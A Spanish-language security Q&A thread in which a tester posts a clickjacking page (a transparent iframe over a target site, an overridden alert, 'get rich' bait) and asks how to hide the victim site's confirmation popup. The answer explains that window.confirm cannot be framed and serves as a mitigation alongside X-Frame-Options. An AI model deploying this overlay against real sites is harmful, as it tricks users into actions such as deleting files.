¿Cómo ocultar la ventana emergente de la víctima en clickjacking?

2

Estoy probando una aplicación web para la vulnerabilidad de hacer click-jacking. El ataque funciona bien para clics individuales, sin embargo, estoy tratando de eliminar un archivo y el marco oculto (víctima) lanza una confirmación emergente.

¿Hay alguna forma de ocultar la ventana emergente (igual que del marco) y engañar al usuario para que la acepte? He buscado mucho en Google pero no he tenido suerte :(

Busters que rompen marcos tampoco funcionan.

Por favor ayuda, gracias

Estoy haciendo algo mal Código de página de extracción de clics:

<html>
<body>
<script>
window.alert = function() { return false; }
</script>

<script>
window.onbeforeunload = function()
{
    return "Maybe you want to leave the page, before you become rich??";
}
</script>
<style>
iframe { 
  width:100%;
  height:100%;
  position:absolute;
  top:0; left:0;
  filter:alpha(opacity=50); /* in real life opacity=0 */
  opacity:0.5;
}
</style>
<div>Click on the link to get rich now:</div>

<iframe src="https://xyz.com/Forms/AllItems.aspx"></iframe><ahref="https://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">CLICK ME!</a>

<div>You'll be rich for the whole life!</div>
</body>
</html>
    
pregunta AJINKYA 19.04.2013 - 13:43
fuente

1 respuesta

2

El uso de window.confirm () es un método válido para mitigar el Clickjacking cuando no es posible usar x-frame-options . Esta ventana emergente no puede ser enmarcada. En todos los navegadores, excepto en Internet Explorer, se muestra el origen de la ventana de confirmación si el dominio difiere del iframe principal en la ventana emergente debido a Clickjacking. Google ha utilizado el uso de window.confirm () como método de defensa contra el clickjacking.

El uso de las opciones de marco x sigue siendo un método mejor para prevenir el clickjacking, sin embargo, hay algunos casos en los que no se puede usar. Por ejemplo, no todos los navegadores admiten la función de lista blanca, y algunas veces los sitios necesitan una lista blanca muy grande.

    
respondido por el rook 13.05.2013 - 21:07
fuente

Lea otras preguntas en las etiquetas